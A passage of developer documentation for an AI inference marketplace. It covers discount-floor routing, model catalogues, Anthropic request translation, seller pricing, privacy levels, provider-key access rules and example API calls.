were left out because their provider does not support a parameter your request uses (such as `tool_choice`), the message says how many and their best estimated discount. If that best figure meets your floor, the message also names the request that would reach them - for example `Requests without tool_choice are eligible for offers up to 95.2078% estimated discount.` - so dropping that parameter is an alternative to lowering the floor. On eligible credit and on-chain text or decisions routes (when cooldown reporting is enabled), if floor-meeting sellers are held out only by a brief provider rate-limit cooldown, the API may instead return **HTTP 503** `minimum_discount_supply_cooldown` with a `Retry-After` header. Nothing is served and your floor is never lowered. If no healthy sellers reach the discount check — or another gate excludes every remaining offer — the API returns that condition's own terminal error (such as `503 no_healthy_sellers`, `404 no_sellers_for_model`, or a key-scope, routing-level, or price error); retry temporary no-supply errors with backoff. ## Examples OpenAI SDK: ```ts const client = new OpenAI({ apiKey: process.env.SURPLUS_API_KEY, baseURL: 'https://api.surplusintelligence.ai/min30/v1', }) ``` curl: ```bash curl https://api.surplusintelligence.ai/min30/v1/chat/completions \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "model": "claude-opus-4.6", "messages": [{"role":"user","content":"Hello"}], "stream": true }' ``` --- # /docs/marketplace/models # Models & Providers Surplus Intelligence has two related but different counts: - **Catalog models:** `GET /v1/models` returns every model currently known to the SI registry. The endpoint is the source of truth for the count - it moves as models are onboarded, so this page deliberately does not print a number. - **Active marketplace models:** the Market Prices page and `GET /api/markets` show models with active seller offers. Current live snapshot: the subset with live seller offers. Current catalog breakdown from a recent live `/v1/models` snapshot: - text and vision-capable chat/completion models - image-generation models - text-to-speech and speech-to-text models - embedding models - video-generation models backed by the async Venice video adapter - music/audio-generation models backed by the async Venice audio adapter The live `/v1/prices` endpoint tracks pricing across many provider pricing sources, and the seller allowlist covers 26+ provider hosts (plus every regional Bedrock host). Both move as providers are onboarded - `GET /v1/providers` and `GET /v1/prices` are the source of truth. Active production offers are currently concentrated on Venice and Bankr LLM Gateway; other allowed providers are supported by the routing/normalization layer but may not have active seller liquidity at all times. Use these endpoints for current counts instead of copying numbers from docs: ```bash GET https://api.surplusintelligence.ai/v1/models GET https://api.surplusintelligence.ai/api/markets GET https://api.surplusintelligence.ai/v1/prices ``` ## Supported Provider Domains Sellers may list OpenAI-compatible endpoints from the provider allowlist. Native non-OpenAI providers are only supported where the router has an adapter/translator. - [Venice AI](https://venice.ai) - `api.venice.ai` - active production liquidity - [Bankr LLM Gateway](https://bankr.bot) - `llm.bankr.bot` - active production liquidity - [OpenRouter](https://openrouter.ai) - `openrouter.ai` - [Amazon Bedrock](https://aws.amazon.com/bedrock/) - `bedrock-mantle..api.aws` - [Uncensored AI](https://uncensored.com) - `api.uncensored.com` - [OpenAI](https://openai.com) - `api.openai.com` - [Anthropic native API](https://anthropic.com) - `api.anthropic.com` - OpenAI ⇄ Anthropic translation path exists, but no active native Anthropic offers are currently listed in production - [Together AI](https://together.ai) - `api.together.xyz` - [Fireworks AI](https://fireworks.ai) - `api.fireworks.ai` - [DeepSeek](https://deepseek.com) - `api.deepseek.com` - [Mistral AI](https://mistral.ai) - `api.mistral.ai` - [Groq](https://groq.com) - `api.groq.com` - [Google Gemini native API](https://ai.google.dev/gemini-api) - `generativelanguage.googleapis.com` - [Google Cloud Vertex AI](https://cloud.google.com/vertex-ai) - `aiplatform.googleapis.com` - [Concentrate.ai](https://concentrate.ai) - `api.concentrate.ai` **Catalog is not liquidity** - In the catalog - GET /v1/models (every known model) - Has a live offer - routable right now (the subset that matters) - Known, but no seller today (404 no\_sellers\_for\_model) Every model Surplus knows about appears in /v1/models. Only the subset with a live seller offer can actually be routed - and that subset moves minute to minute. ## Model Name Resolution Request models using any of these formats - the marketplace normalizes automatically: | Format | Example | | ----------------------- | ------------------------------------------- | | Canonical (recommended) | `claude-opus-4.6` | | OpenRouter format | `anthropic/claude-opus-4.6` | | Venice internal | `claude-opus-4-6` | | Common aliases | `gemini-3-flash` → `gemini-3-flash-preview` | ## Live Model Catalog ```bash GET /v1/models ``` Returns all catalog models with pricing, context lengths, capabilities, and provider mappings in an OpenRouter-compatible format. For tool-calling compatibility, check each model's `supported_parameters`; `tools` must be present for tool calls to be forwarded. For image, video, document, and audio input, check `architecture.input_modalities` **and** `supported_features` together, since the two disagree on some rows: see [Media Inputs](https://www.surplusintelligence.ai/docs/guides/media-inputs). For reasoning, see [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning). The live provider allowlist with each provider's `trusted` flag is available at `GET /v1/providers`; what that flag does and does not establish is covered in [Provider & Model Verification](https://www.surplusintelligence.ai/docs/marketplace/provider-verification). ## Cross-Provider Translation The marketplace accepts buyer requests in **OpenAI format**. OpenAI-compatible sellers receive OpenAI-format requests after model-name and tool-format normalization. Native provider APIs require translation. ### Native Anthropic Translation When a request routes to an Anthropic-format seller (`api.anthropic.com`), the following translations are applied: **Request (OpenAI → Anthropic):** - `role: "system"` / `role: "developer"` → Anthropic `system` parameter - User messages with `image_url` → Anthropic image content blocks (base64 + URL) - `tools` array → Anthropic tool format (`name`, `description`, `input_schema`) - `tool_choice` → Anthropic tool choice (`auto`, `tool`) - Assistant messages with `tool_calls` → Anthropic `tool_use` content blocks - `role: "tool"` messages → Anthropic `tool_result` content blocks - `max_tokens` / `max_completion_tokens` → Anthropic `max_tokens` - `stop` → `stop_sequences` **Response (Anthropic → OpenAI):** - `tool_use` content blocks → OpenAI `tool_calls` array - `end_turn` → `finish_reason: "stop"` - `tool_use` stop reason → `finish_reason: "tool_calls"` - `input_tokens` / `output_tokens` → `prompt_tokens` / `completion_tokens` **Streaming (Anthropic SSE → OpenAI SSE):** - `content_block_delta` with text → `choices[0].delta.content` - `content_block_start` with `tool_use` → `choices[0].delta.tool_calls[i]` with function name and id - `input_json_delta` → `choices[0].delta.tool_calls[i].function.arguments` chunks - `message_delta` with usage → final `choices: []` usage chunk when the OpenAI buyer sets `stream_options.include_usage` This translation layer is implemented and covered by tests, including multi-turn function-tool transcripts. It is not the primary active production path today because current Claude seller liquidity is mainly through OpenAI-compatible providers. Anthropic-specific beta features and non-function computer-use tools are not guaranteed. ### Media Models Media models (images, TTS, STT, embeddings, video, music/audio) use provider-specific endpoints rather than `/chat/completions`. The marketplace maps standard model names to provider-specific IDs via the media model registry. Images are synchronous. Video and music/audio are asynchronous jobs: submit to `/v1/video/generations` or `/v1/music/generations`, then poll the job URL until terminal. Seller onboarding never runs a paid generation to check health: a video offer on a known async-video host is probed against a free authenticated account endpoint (Venice `GET /api_keys/rate_limits`, Uncensored `GET /billing/balance`), and every other media offer falls back to a `GET /models` liveness check. Quote endpoints are not used for this, because they answer `200` to a bogus key and so cannot detect a dead credential. See [Provider & Model Verification](https://www.surplusintelligence.ai/docs/marketplace/provider-verification). Sellers listing Venice as a provider will see media models (Whisper, TTS, Flux, Runway/Seedance/PixVerse video, ACE-Step/ElevenLabs/MiniMax/Stable Audio, etc.) in the model discovery flow alongside text models. --- # /docs/marketplace/pricing # Pricing Sellers set their own prices. The marketplace routes buyers to the cheapest available seller. ## Pricing Modes ### Cost Multiplier - the only mode for text models Seller specifies a fraction of the model's reference price. "I'll undercut the market by X%." ```json { "pricing_mode": "cost_multiplier", "cost_multiplier": 0.50 } ``` 0.50 = buyer pays 50% of the reference price. Reference prices come from `PROVIDER_PRICES` in the codebase. > **Per-token pricing is retired for text models.** Quoting a text offer with `price_input_per_1m` / > `price_output_per_1m` now returns `400 per_token_pricing_retired` on create, bulk create and update. Use > `cost_multiplier`. **Media offers are exempt** and still price per unit. ## Cost Calculation For each request: ``` base_cost = reference_price_for_model × cost_multiplier (applied per input/output token) buyer_cost = base_cost seller_earns = base_cost ``` **How a buyer's price is built** 1. **Reference price**: The model's list price 2. **× cost\_multiplier**: The seller's discount 3. **Buyer pays**: The seller earns it What you pay is what the seller charges. The seller's multiplier against the model's reference price is the whole calculation. ## Price Threshold Buyers can require a **minimum discount** below the go-direct reference price: ```bash -H "X-Min-Discount: 30" ``` The same floor can be set on the API key itself (`min_discount_pct` in the key's scope) or expressed in the URL (`/min30/v1/...`). When more than one is present the **strictest** applies - a per-request value can tighten the key's floor but never loosen it. When no qualifying marketplace offer can serve the request and no buyer-owned priority/fallback provider applies, the request fails rather than routing to a worse price — typically with `404 minimum_discount_not_met` (including temporary gaps such as sellers health-paused after upstream errors; retry with backoff or lower the floor), or (when cooldown reporting is enabled) it may return `503 minimum_discount_supply_cooldown` with `Retry-After` on eligible credit/on-chain text and decisions routes when floor-meeting sellers are briefly rate-limited, or another no-supply/gate error when no healthy sellers reach the floor check. > **Price ceilings are retired.** `max_price_per_1m` and the `X-Max-Price-Per-1M` header capped a per-1M *input* > rate, which ignored output and cache rates and told you nothing about whether the price was actually good. > Discount is measured against the reference price you would pay going direct, which is the number that matters. Requests skip sellers whose estimated cost exceeds this threshold. ## Provider Pricing Discovery When sellers connect their API key, the marketplace auto-detects pricing from the provider's `/models` endpoint. Four parsing layers handle all known provider formats: 1. **Venice format** - `model_spec.pricing` with nested `{usd, diem}` 2. **OpenRouter format** - `pricing.prompt` / `pricing.completion` as per-token strings 3. **Generic format** - `pricing.input` / `pricing.output` as numbers ($/1M tokens) 4. **Reference fallback** - static reference prices for known models when provider returns none --- # /docs/marketplace/privacy-levels # Privacy Levels A privacy level decides which providers can serve your requests. You choose it for your account, for an API key, or for a single request, and each level includes everything in the ones before it. | Level | `min_privacy` | What it means | | -------------- | ---------------- | -------------------------------------- | | Default | `none` | All providers, Default privacy applies | | Protected | `seller_private` | Request content hidden from sellers | | Zero retention | `zero_retention` | Providers don't retain request content | | Confidential | `confidential` | Providers can't access request content | Each provider's level comes from our review of it. A level isn't a guarantee, and a provider's level can change. Protected has providers, and Zero retention has Venice's private models. Confidential isn't offered yet: while levels are in force, saving it is refused with `400 privacy_level_unavailable`, and a request that asks for it is refused with `404 privacy_level_unavailable`. `min_privacy_levels_with_supply` on `GET /v1/buyer/preferences` lists the levels on offer now. The ZDR labels on some offers are separate from privacy levels and don't put an offer at Zero retention. ## What each level includes | | Default | Protected | Zero retention | Confidential | | -------------------------------------- | ------- | --------- | -------------- | ------------ | | Trusted providers only | No | Yes | Yes | Yes | | Request content hidden from sellers | No | Yes | Yes | Yes | | Providers don't retain request content | No | No | Yes | Yes | | Providers can't access request content | No | No | No | Yes | | Runs in a secure enclave | No | No | No | Yes | On Default, your Routing settings decide whether providers outside the trusted list can serve you. On Zero retention and Confidential, a request can't ask the provider to run a search. Web search, web scraping and X search send your prompt to services outside the provider, and file search runs it over files kept on the seller's account, so a request at these levels that turns any of them on is refused with `400 privacy_level_web_search_refused`. That covers a `web_search`, `file_search` or `x_search` tool, `web_search_options`, a `web` plugin, a top-level `web_search`, and Venice's `enable_web_search`, `enable_web_scraping` and `enable_x_search`. Function tools, which your own code runs, work at every level. ## On every level - **Your IP address is hidden from sellers.** Sellers and providers get your request from our servers, without your IP address. Some image and video results download straight from the provider, which then sees it. - **The seller's provider gets your request.** We send it to the provider the seller listed, using the seller's account with that provider, and that provider's own policy decides what it keeps. Your privacy level decides which providers can serve you. What Surplus keeps, and for how long, is in [Security and privacy](https://www.surplusintelligence.ai/docs/marketplace/security-privacy) and the [Privacy Policy](https://www.surplusintelligence.ai/privacy-policy). ## Setting a level There are three places to set a level. A request runs at the highest of the three, so a key or a single request can ask for a stricter level than your account, never a looser one. | Where | Covers | How | | ----------- | -------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | | The account | every key in the account | **Buy › Privacy** in the dashboard, or `{"preferences": {"min_privacy": ""}}` on `PUT /v1/buyer/preferences` | | A key | every request made with that key | the **Privacy** field when you create or edit the key, or `scope.min_privacy` on `POST /v1/keys` and `PATCH /v1/keys/{id}` | | A request | that request only | `"min_privacy": ""` in the request body | Only members who can create API keys can change the account's level. An account save changes only the fields you send. ### A key's level over the API A key's level is part of its scope, not its preferences: `min_privacy` sent to `PUT /v1/buyer/keys/{id}/preferences` is refused with `400 invalid_min_privacy`. `PATCH /v1/keys/{id}` with a `scope` replaces the key's whole scope, so send the scope you read from `GET /v1/keys/{id}` with `min_privacy` added, or the key loses its other limits. A `scope` without `min_privacy` keeps the key's level, and `"min_privacy": null` clears it. Send the scope you read as `expected_scope` too (`{}` if the key had none), and the save is refused with `409 key_scope_changed` if the key's scope changed in the meantime. Send a budget change in its own request: `expected_scope` with `budget` is refused with `400 expected_scope_with_budget`. Writes to `/v1/keys` need an [admin key](https://www.surplusintelligence.ai/docs/organizations/api-keys#provisioning-keys-programmatically) (`inf_admin_...`) or a signed-in session. An ordinary API key gets `403`. ```bash curl -X PATCH https://api.surplusintelligence.ai/v1/keys/$KEY_ID \ -H "Authorization: Bearer $SURPLUS_ADMIN_KEY" \ -H "Idempotency-Key: $(uuidgen)" \ -H "Content-Type: application/json" \ -d '{ "scope": {"providers_blocked": ["openrouter.ai"], "min_privacy": "seller_private"}, "expected_scope": {"providers_blocked": ["openrouter.ai"]} }' ``` ### When a level applies A level applies only while privacy levels are in force, which `GET /v1/buyer/preferences` reports as `min_privacy_available: true`. While they're paused, a level on your account, a key or a request is ignored: requests are served as on Default, nothing is refused, and a new level can't be saved. If we briefly can't confirm that levels are paused, a saved level is applied. A stricter level saved on the account or a key reaches every request within about 30 seconds, and the response to the save includes `min_privacy_effective_at`, the time it applies from. A level sent in the request body applies to that request at once, so send it when you need a level immediately. ```bash curl https://api.surplusintelligence.ai/v1/chat/completions \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "model": "gpt-5.6-luna", "messages": [{"role": "user", "content": "hi"}], "min_privacy": "seller_private" }' ``` With the OpenAI Python SDK, pass it as `extra_body={"min_privacy": "seller_private"}`. Every inference endpoint accepts `min_privacy`, text and media, with one exception: while levels are in force, a transcription paid with x402 or MPP refuses it with `400 invalid_min_privacy`, so send that request with an API key. `none` asks for no minimum, and while levels are in force a value that isn't one of the four names is refused with `400 invalid_min_privacy`. ## When nothing at your level serves a model If nothing at your level serves a model, the request is refused, unless you have your own priority or fallback provider key for that model, which then serves it. It's never sent to a seller below your level. | Code | Status | Meaning | | ------------------------------------ | ------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `privacy_level_unavailable` | 404 | No seller at your level serves this model. Lower the level where it's set (the error message says whether that's the account, the key or the request), or choose a model that sellers at your level serve. | | `privacy_level_capacity_unavailable` | 503 | Sellers at your level serve this model, but none can take the request right now. Retry shortly. | | `privacy_level_settings_unavailable` | 503 | Your account's level couldn't be read right now. Retry shortly. | | `privacy_level_web_search_refused` | 400 | The request asks the provider to search the web or files, scrape a URL or search X, which isn't available at Zero retention or Confidential. Send it without the search, or at a lower level. | | `invalid_min_privacy` | 400 | The `min_privacy` in the request, or stored on the key or account, isn't one of the four names, or was sent on a transcription paid with x402 or MPP. | Saving a level on the account or a key is refused, and nothing changes, with `400 privacy_level_unavailable` when no provider offers that level yet, `400 privacy_levels_not_enabled` while privacy levels are paused, or `503 privacy_levels_mode_unavailable` when we can't check right now (retry shortly). ## Seeing the level that served you A text, embeddings, image or audio response the marketplace served can carry an `x-si-privacy-level` header with the level of the offer that served it: `none`, `seller_private`, `zero_retention` or `confidential`. Video and music jobs don't carry it. The header can also appear while levels are paused, so check `min_privacy_available` to know whether your level is being applied. ## What levels don't cover - **Your own provider keys.** A request sent with your own priority or fallback key goes from our servers to that provider on your own account, under that account's settings. When your priority key can't take a request, it goes to the marketplace at your level. - **Provider Market.** Calls to `/v1/resources/...` use a seller's provider key directly and don't apply a level, so they're refused with `404 privacy_level_unavailable` while your key or account has a level above Default. - **x402 and MPP payments.** A request paid with x402 or MPP has no account or key settings, so only a `min_privacy` in the request applies. While levels are in force, a transcription paid that way refuses `min_privacy` with `400 invalid_min_privacy`. ## Questions ### Can I use different levels for different work? Yes. Each API key can have its own level. Leave the account on Default, so everyday keys get the most sellers competing on price, and give a key for sensitive work a stricter level. A key can only ask for a stricter level than your account, never a looser one. Set it when you create or edit the key. A key with its own level counts as a restricted key, so it can't create or manage keys. ### On Default, can a seller see my requests? Your request goes to the provider the seller listed, using the seller's account with that provider. Some providers have a setting that keeps a copy of requests on that account. Our seller terms forbid turning it on, but on Default we can't technically rule it out. If you allow all sellers, not only trusted providers, some sellers run the endpoint themselves. On Protected and stricter levels, request content is hidden from sellers, based on our review of each provider. ### Is a privacy level a guarantee? No. Each provider's level comes from our review of it, and a level can change. ### How is secret masking different from a privacy level? A level decides which providers can serve your request. Secret masking changes the request itself: it replaces the API keys, private keys, seed phrases, passwords and tokens it detects in a text request with placeholders before the request leaves us, then puts your real values back in the reply, except in the model's reasoning. It only catches what it recognises, and it works with any level. Turn it on (beta) for the account or a key, or send `X-SI-Mask-Secrets: on` with one request. See the [secret masking guide](https://www.surplusintelligence.ai/docs/guides/secret-masking). --- # /docs/marketplace/provider-market-access # Access rules When you list a provider key, you are handing Surplus a credential and saying which calls may run on it. This page is the full reference for that decision: the order the checks run in, the rule syntax, and the parts of a provider's API that are never reachable no matter what anyone configures. ## Three checks, and the first refusal wins Every call is checked in this order. Nothing later can undo an earlier refusal. ### 1. The Surplus fence Ours, not yours, and you cannot switch it off or widen it. It refuses: - every host that is not the provider's own API host; - every account route - billing, team members, API keys, usage and plan settings; - paths that try to escape their shape (encoded separators, traversal, duplicated job ids). For Fal this means calls reach `fal.run` and `queue.fal.run` and nowhere else - its platform API is a different host, so every operation on it is unreachable, including the one that mints new keys. For ElevenLabs, which publishes over four hundred operations, exactly **three** routes are open: `POST /v1/sound-generation`, `POST /v1/music` and `GET /v1/models`. The fence is why listing a key is not the same as handing someone your password. Each provider's own section enumerates its reachable surface: [Fal](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#fal), [ElevenLabs](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#elevenlabs), [Wavespeed](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#wavespeed). ### 2. Your refuse rules Checked next, and a match ends the call. **A refuse rule beats a ticked capability** - it is the only thing on the page that overrides what is above it, which is what makes it useful as an escape hatch. ### 3. Your capabilities Whatever survives must fall inside a capability you ticked. Nothing ticked means nothing serves. ## Writing a rule A rule is `METHOD /path` or just `/path`. The path may end in a wildcard. | Rule | What it refuses | | ----------------------- | ---------------------------------------------------- | | `POST /fal-ai/recraft*` | Only `POST`, and only paths starting with that text. | | `/fal-ai/recraft*` | No method given, so every method. | | `/fal-ai/flux-pro/*` | Everything under it - **and the bare path itself**. | | `/fal-ai/flux-pro/+` | Only deeper paths. The bare path still serves. | | `*` | Refuses the key entirely. Pause the listing instead. | `*` spans `/`, so `/a/*` matches `/a/b/c`. `+` requires at least one more character, which is the difference between "this family of models" and "everything below this path but not the path". ## A rule can only ever take away There is no rule that adds a route. If a capability is unticked, no rule here brings it back, and nothing you write can reach past the fence in step 1. That is deliberate, and it is why experimenting is safe: **the worst a typo can do is refuse too much.** A mistyped rule costs you traffic until you notice. It cannot open anything. ## What happens when a call is refused The buyer gets a specific reason, not a generic error, so they can tell your choice apart from ours: | What the buyer sees | What it means | | ------------------------ | ------------------------------------------------------------------------------ | | `platform_route_refused` | The Surplus fence. Never reachable, for any seller. | | `policy_refused` | Offers exist for this provider, but no seller's rules allow this call. | | `seller_cap_reached` | Capable offers exist; every one has spent its daily cap. Resets at 00:00 UTC. | | `trait_unavailable` | No live offer advertises something the buyer required (for example EU region). | | `provider_unpriceable` | Surplus cannot price the call, so it refuses rather than guessing. | Your refusals show up on your own analytics as **demand your rules refused**, priced at your rates, so you can see what a rule costs you before deciding whether to keep it. ## Related - [Listing your key](https://www.surplusintelligence.ai/docs/marketplace/provider-market-listing) - the end-to-end path through the API, and where these rules go. - [Pricing](https://www.surplusintelligence.ai/docs/marketplace/pricing) - how a call is priced and what your discount comes off. - [Security and privacy](https://www.surplusintelligence.ai/docs/marketplace/security-privacy) - what reaches a seller's account, and what never does. --- # /docs/marketplace/provider-market-calling # Your first call Ten providers are live, and `GET /api/markets/keys` lists them (step 2 below). You call them with the Surplus API key you already have, and the discount comes off the provider's own list price. There is no second credential to collect and nothing to reserve. This page is the end-to-end path for all of them. The per-provider sections ([Fal](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#fal), [ElevenLabs](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#elevenlabs), [Wavespeed](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#wavespeed), [Uncensored](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#uncensored), [Higgsfield](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#higgsfield), [Orbio](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#orbio), [OpenRouter](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#openrouter), [Vercel AI Gateway](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#vercel-ai-gateway), [Cartesia](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#cartesia), [Venice](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#venice)) then give each one's exact routes and bodies. **One provider-key call, end to end** 1. **Your request**: Surplus key, provider's own body 2. **Fence**: Host and route checked first 3. **Offer**: Cheapest live key that may serve 4. **Price & hold**: Quoted, then held on your credit 5. **Provider answers**: Charged actual, headers say what Everything before the upstream call is ours: the fence, the offer, the price and the hold. A call we cannot price never reaches a seller's key at all. ## 1. Get a key and credit Any Surplus API key works - the same one you use for inference. One condition: if the key's scope restricts **endpoints**, that list must include `/v1/resources` (the Endpoints tab offers it), or every provider-key call is refused `403 endpoint_not_in_key_scope`. A key with no endpoint restriction needs nothing. Edit an existing key or mint a new one; a key's scope is never widened for you. The Provider Market is **prepaid credit only**: it never falls through to the on-chain rail, so a wallet with USDC but no credit is refused rather than quietly charged on chain. ```bash export SURPLUS_API_KEY=sk_live_… curl https://api.surplusintelligence.ai/v1/payments/balance \ -H "Authorization: Bearer $SURPLUS_API_KEY" ``` If the balance cannot cover the quote, the call answers `402 insufficient_credit` and **nothing is reserved**. ## 2. Find out what is live The book is public - no key needed - so you can check before you spend. **What is listed right now** **cURL** ```bash curl https://api.surplusintelligence.ai/api/markets/keys ``` **Response (trimmed)** ```json { "listings": [ { "resource_id": "fal", "provider": "Fal", "unit": "per megapixel", "status": "live", "discount_percent": 35, "healthy": true, "active_offers": 1, "healthy_offers": 1 }, { "resource_id": "wavespeed", "provider": "Wavespeed AI", "unit": "per image", "status": "live", "discount_percent": 50, "healthy": true, "active_offers": 1, "healthy_offers": 1 }, { "resource_id": "elevenlabs", "provider": "ElevenLabs", "unit": "per 1k characters", "status": "live", "discount_percent": 50, "healthy": true, "active_offers": 3, "healthy_offers": 3 } ] } ``` `resource_id` is the id you put in the path. `discount_percent` is the best offer that can serve right now, and each listing's `sources` (trimmed here) are its live offers in the order the router fills them - which tells you whether that price survives one seller pausing. [Pricing](https://www.surplusintelligence.ai/docs/marketplace/pricing) is the full treatment. `GET /v1/resource/markets` is a different list: it covers only the older x402 resource relay, not the Provider Market. ## 3. Make the call **The path after the provider id is the provider's own path.** Two shapes, and getting this wrong is the single most common first mistake: - **Path style - every provider except Fal**: POST /v1/resources/{provider}/{the provider's own path} - **Header style - Fal**: POST /v1/resources/fal with an EMPTY path; the target rides in x-fal-target-url Fal's SDK appends the model itself, so a URL that already carries the path is refused `unexpected_path` before anything else happens. [Fal, end to end](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#fal) covers the SDK wiring. **The same call on each provider** **ElevenLabs** ```bash # A one-second sound effect. Answers with audio bytes, not JSON. # One key per call: send the SAME key again if you retry this call (see the note below). IDEMPOTENCY_KEY=$(uuidgen) curl -X POST https://api.surplusintelligence.ai/v1/resources/elevenlabs/v1/sound-generation \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -H "Idempotency-Key: $IDEMPOTENCY_KEY" \ -d '{"text":"a short soft chime","duration_seconds":1}' \ --output chime.mp3 --dump-header - ``` **Wavespeed** ```bash # A queued image job. Answers at once with an id, not the image. # One key per submit: a retry with the SAME key gets the same job back, not a second job. IDEMPOTENCY_KEY=$(uuidgen) curl -X POST https://api.surplusintelligence.ai/v1/resources/wavespeed/api/v3/wavespeed-ai/flux-schnell \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -H "Idempotency-Key: $IDEMPOTENCY_KEY" \ -d '{"prompt":"a tiny blue paper boat on a white table","size":"1024*1024"}' ``` **Fal** ```bash # EMPTY path. The target is a header, and it must be one of Fal's two model hosts. curl -X POST https://api.surplusintelligence.ai/v1/resources/fal \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -H "x-fal-target-url: https://fal.run/fal-ai/flux/schnell" \ -d '{"prompt":"a tiny red origami crane","image_size":"square","num_images":1}' ``` > `Idempotency-Key` dedupe on the Provider Market is **being enabled**. Until it is, the header is ignored and a repeat > is a second real generation at the provider, billed as one. Once enabled, a key makes one upstream call and one charge > for 24 hours: the same call again gets the first answer back with `Idempotency-Replayed: true` and is charged nothing, > on every provider, job submits included. A different call under the same key is refused `422 idempotency_key_reused`. See > [retries and Idempotency-Key](https://www.surplusintelligence.ai/docs/marketplace/provider-market-jobs#retries-and-idempotency-key) for every case. ## 4. Read what it cost Every response carries both numbers, on every rail: - `x-si-buyer-cost-micro` (integer): What you were charged, in microdollars. `1 USD = 1000000`. - `x-si-list-cost-micro` (integer): What the provider would have billed for the same call, direct. The difference is what the Provider Market saved you. Both headers are CORS-exposed, so a browser client can read them too. A served call that cost anything is charged at least 1 µ$ (0.000001 USD); a call that cost exactly nothing, such as a catalogue read, is free. ``` x-si-buyer-cost-micro: 1500 x-si-list-cost-micro: 3000 ``` That call cost $0.0015 against a $0.003 list price - the seller's 50% off, applied to the provider's own quote rather than to a rate card of ours. ## 5. Jobs do not finish in step 4 Wavespeed predictions and Fal queue submits answer **immediately with an id**, not a result. The money follows the result, not the submit: the submit leaves the charge owed at the quote, and it settles at the actual figure when you fetch the result. **Where a job's money actually moves** 1. **Submit**: Hold placed at the quote 2. **Bound**: Job pinned to that one offer, 27 h 3. **Poll status**: Free - no charge for asking 4. **Fetch result**: Charged the actual, hold released The submit is not the end of the transaction. A job you never collect leaves the hold to expire rather than charging you for a result you never read. [Jobs and settlement](https://www.surplusintelligence.ai/docs/marketplace/provider-market-jobs) is the whole mechanism, including the follow-up URL rewriting that keeps your polls on your own key. ## Requiring something of the account Some sellers advertise properties of the account behind their key - an EU region or a business plan. Require any of them per call: ```bash curl -X POST https://api.surplusintelligence.ai/v1/resources/elevenlabs/v1/sound-generation \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "X-SI-Require: capacity.dedicated,residency.eu" \ -d '{"text":"a short soft chime","duration_seconds":1}' ``` A call that requires something **only reaches offers claiming all of it**. If none can, it is refused `trait_unavailable` rather than quietly served by an offer that does not qualify - which is the point, and also why requiring something can raise your price. `GET /v1/resource/traits` lists what is requirable, and [Provider Market](https://www.surplusintelligence.ai/docs/marketplace/provider-market#what-a-badge-is-worth) explains what each badge is actually worth. ## Routing only to deep discounts The `min{N}` mirror works here exactly as it does for inference - prefix the path and only offers at least N% off are considered: ```bash curl -X POST https://api.surplusintelligence.ai/min40/v1/resources/wavespeed/api/v3/wavespeed-ai/flux-schnell \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -d '{"prompt":"a tiny blue paper boat","size":"1024*1024"}' ``` If nothing is that cheap you get `no_resource_offer` rather than a worse price. [Minimum-discount routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing) has the details. ## When a call does not land Each refusal names one cause, so you can tell whose problem it is: | Code | Status | What to do | | --------------------------- | ------ | --------------------------------------------------------------------------------------------------------------------------------------------- | | `endpoint_not_in_key_scope` | 403 | The key's endpoint scope leaves out `/v1/resources`. Edit the key to include it, or use a key with no endpoint restriction. | | `unexpected_path` | 400 | A header-style provider (Fal) was given a path. Empty it. | | `platform_route_refused` | 403 | Never reachable, for any seller. Not a pricing or availability problem. | | `policy_refused` | 403 | Offers exist; no seller's rules allow this call. | | `no_resource_offer` | 503 | Nobody lists this provider, or none is this cheap. | | `job_not_found` | 404 | The job is not yours, or its binding expired after 27 h. | | `seller_cap_reached` | 503 | Every capable offer spent its daily cap. Resets 00:00 UTC. **Retryable.** | | `offers_unhealthy` | 503 | Offers exist, but every capable one is paused or backed off after failures. **Retryable.** | | `resource_upstream_timeout` | 504 | The provider did not answer in time and may still be running the call, so it was charged its quote. Retry only if you accept a second charge. | | `provider_unpriceable` | 400 | We cannot price it, so we refuse rather than guess. Use a priced model. | | `trait_unavailable` | 503 | Nobody advertises what you required. **Retryable.** | | `insufficient_credit` | 402 | Add prepaid credit. Nothing was reserved. | ## Related - [Fal](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#fal), [ElevenLabs](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#elevenlabs), [Wavespeed](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#wavespeed), [Uncensored](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#uncensored), [Higgsfield](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#higgsfield), [Orbio](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#orbio), [OpenRouter](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#openrouter), [Vercel AI Gateway](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#vercel-ai-gateway), [Cartesia](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#cartesia), [Venice](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#venice) - each provider's exact routes. - [Jobs and settlement](https://www.surplusintelligence.ai/docs/marketplace/provider-market-jobs) - async jobs, bindings and when money moves. - [Provider key 